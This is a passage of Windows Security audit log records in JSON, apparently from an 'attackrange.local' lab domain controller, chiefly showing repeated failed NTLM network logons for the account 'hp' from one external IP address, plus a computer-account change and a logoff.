Names:\t\r\n\t\tldap/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local\r\n\t\tldap/WIN-DC-9849183\r\n\t\tldap/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tldap/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tldap/WIN-DC-9849183/ATTACKRANGE\r\n\t\tE3514235-4B06-11D1-AB04-00C04FC2DCD2/062c97a2-6720-40cd-aa6f-32f2c424c35b/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local\r\n\t\tHOST/WIN-DC-9849183\r\n\t\tHOST/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tHOST/WIN-DC-9849183/ATTACKRANGE\r\n\t\tRPC/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tRestrictedKrbHost/WIN-DC-9849183\r\n\t\tRestrictedKrbHost/win-dc-9849183.attackrange.local\r\n\t\tGC/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tDNS/win-dc-9849183.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/DomainDnsZones.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/ForestDnsZones.attackrange.local\r\n\t\tTERMSRV/win-dc-9849183.attackrange.local\r\n\t\tTERMSRV/WIN-DC-9849183\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Computer Account Management","Opcode":"Info","ComputerAccountChange":"-","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x44c96","PrivilegeList":"-","SamAccountName":"-","DisplayName":"-","UserPrincipalName":"-","HomeDirectory":"-","HomePath":"-","ScriptPath":"-","ProfilePath":"-","UserWorkstations":"-","PasswordLastSet":"-","AccountExpires":"-","PrimaryGroupId":"-","AllowedToDelegateTo":"-","OldUacValue":"-","NewUacValue":"-","UserAccountControl":"-","UserParameters":"-","SidHistory":"-","LogonHours":"-","DnsHostName":"-","ServicePrincipalNames":"\r\n\t\tldap/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local\r\n\t\tldap/WIN-DC-9849183\r\n\t\tldap/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tldap/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tldap/WIN-DC-9849183/ATTACKRANGE\r\n\t\tE3514235-4B06-11D1-AB04-00C04FC2DCD2/062c97a2-6720-40cd-aa6f-32f2c424c35b/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local\r\n\t\tHOST/WIN-DC-9849183\r\n\t\tHOST/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tHOST/WIN-DC-9849183/ATTACKRANGE\r\n\t\tRPC/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tRestrictedKrbHost/WIN-DC-9849183\r\n\t\tRestrictedKrbHost/win-dc-9849183.attackrange.local\r\n\t\tGC/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tDNS/win-dc-9849183.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/DomainDnsZones.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/ForestDnsZones.attackrange.local\r\n\t\tTERMSRV/win-dc-9849183.attackrange.local\r\n\t\tTERMSRV/WIN-DC-9849183","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221696,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51678\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51678","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221697,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51816\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51816","EventReceivedTime":"2020-08-07 11:50:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221698,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51993\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51993","EventReceivedTime":"2020-08-07 11:50:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221699,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t52131\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"52131","EventReceivedTime":"2020-08-07 11:50:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221700,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t52217\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"52217","EventReceivedTime":"2020-08-07 11:50:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221701,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t52438\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"52438","EventReceivedTime":"2020-08-07 11:50:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221702,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3B55E\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3b55e","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221703,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t52506\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"52506","EventReceivedTime":"2020-08-07 11:50:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221704,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t52719\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"52719","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221705,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t52818\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was 